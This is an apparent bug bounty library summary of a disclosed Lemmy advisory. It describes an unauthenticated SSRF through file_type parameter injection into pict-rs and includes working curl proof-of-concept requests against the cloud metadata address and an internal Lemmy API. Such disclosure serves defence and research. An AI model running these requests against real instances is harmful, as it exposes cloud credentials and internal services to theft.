# Lemmy has unauthenticated SSRF via file_type query parameter injection in image endpoint

Unauthenticated SSRF in Lemmy's /api/v4/image endpoint: file_type query param injection reaches pict-rs proxy param, fetching arbitrary internal URLs.

- Payout: Research
- Severity: high
- Program: Lemmy
- Found by: q1uf3ng
- Disclosed: 2026-03-04
- CVE: CVE-2026-29178
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-jvxv-2jjp-jxc3
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-jvxv-2jjp-jxc3
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:rust technique:source-review vuln:ssrf

**Target:** GET /api/v4/image/{filename} endpoint proxying to pict-rs
**Root cause:** The file_type query parameter is interpolated unencoded into the pict-rs process URL, letting an attacker inject additional query params like proxy= to make pict-rs fetch arbitrary URLs.
**Steps:**
1. Identify the unauthenticated GET /api/v4/image/{filename} endpoint and its file_type param.
2. Inject `?proxy=http://169.254.169.254/latest/meta-data&x=` via file_type so the constructed URL becomes `.../image/process.jpg?proxy=...&x=?src=anything`.
3. Send `curl 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%26x%3D'`.
4. Read the internal response streamed back through pict-rs and Lemmy.
**How found:** Code review of download.rs: noticed file_type is string-interpolated into the pict-rs URL without encoding, and that pict-rs's process endpoint supports a proxy param.
**Exploitation:** Attacker sends a single unauthenticated request with a URL-encoded file_type containing `?proxy=<internal-url>&x=`, causing pict-rs to fetch the target URL and stream the response back, enabling metadata access and internal service scanning.
**Escalation:** Bypasses the RemoteImage::validate() check that normally protects the image_proxy endpoint, widening reachable internal targets.
**Insight:** When a backend proxies to an internal image service, check every user-controlled path/query fragment interpolated into the upstream URL; pict-rs's process.{ext}?proxy= turns a format-string injection into full SSRF.

## Proof of concept (copied exactly from the original report)

**curl SSRF to AWS metadata via file_type**

```
curl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%26x%3D'
```

**curl SSRF scanning internal Lemmy service**

```
curl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2Flemmy%3A8536%2Fapi%2Fv4%2Fsite%26x%3D'
```

